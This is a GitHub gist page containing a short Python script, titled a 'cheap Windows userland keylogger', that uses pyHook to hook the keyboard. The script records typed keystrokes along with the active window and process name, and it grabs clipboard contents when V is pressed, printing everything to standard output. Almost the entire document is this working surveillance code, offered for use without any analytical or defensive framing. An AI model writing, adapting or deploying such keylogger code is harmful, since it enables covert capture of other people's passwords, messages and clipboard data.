Skip to content

Instantly share code, notes, and snippets.

@hugsy
Created October 21, 2015 07:12
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save hugsy/8bd6b7e489fb5467ad36 to your computer and use it in GitHub Desktop.
Save hugsy/8bd6b7e489fb5467ad36 to your computer and use it in GitHub Desktop.
Cheap Windows userland keylogger
"""
Simple UserLand Keylogger for Windows
Based on pyHook.
@_hugsy_
"""
import sys
from ctypes import *
try:
import pythoncom, pyHook, win32clipboard
except ImportError as ie:
print ("Missing package: %s" % ie)
sys.exit(1)
activeWindow, activeProcessId, activeProcessName = None, None, None
buf = ""
def UpdateActiveProcess():
hwnd = windll.user32.GetForegroundWindow()
pid = c_ulong(0)
exe = create_string_buffer("\x00" * 512)
windll.user32.GetWindowThreadProcessId(hwnd, byref(pid))
h_process = windll.kernel32.OpenProcess(0x400 | 0x10, False, pid)
windll.psapi.GetModuleBaseNameA(h_process, None, byref(exe), 512)
windll.kernel32.CloseHandle(hwnd)
windll.kernel32.CloseHandle(h_process)
return (pid.value, exe.value)
def DumpBuffer():
global buf
sys.stdout.write(buf)
sys.stdout.write("\n")
sys.stdout.flush()
buf = ""
return
def DumpClipboard():
win32clipboard.OpenClipboard()
data = win32clipboard.GetClipboardData()
win32clipboard.CloseClipboard()
return data
def OnKeyDownHandler(event):
global activeWindow, activeProcessId, activeProcessName, buf
if event.WindowName != activeWindow:
activeProcessId, activeProcessName = UpdateActiveProcess()
activeWindow = event.WindowName
if 32 <= event.Ascii < 128 :
buf += chr(event.Ascii)
return True
if event.Ascii in (0x0d, 0x0a):
DumpBuffer()
return True
if event.Key == "V":
DumpBuffer()
buf = "[Clipboard]\n" + DumpClipboard()
DumpBuffer()
return True
if __name__ == "__main__":
try:
kl = pyHook.HookManager()
kl.KeyDown = OnKeyDownHandler
kl.HookKeyboard()
pythoncom.PumpMessages()
except KeyboardInterrupt:
DumpBuffer()
sys.exit(0)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment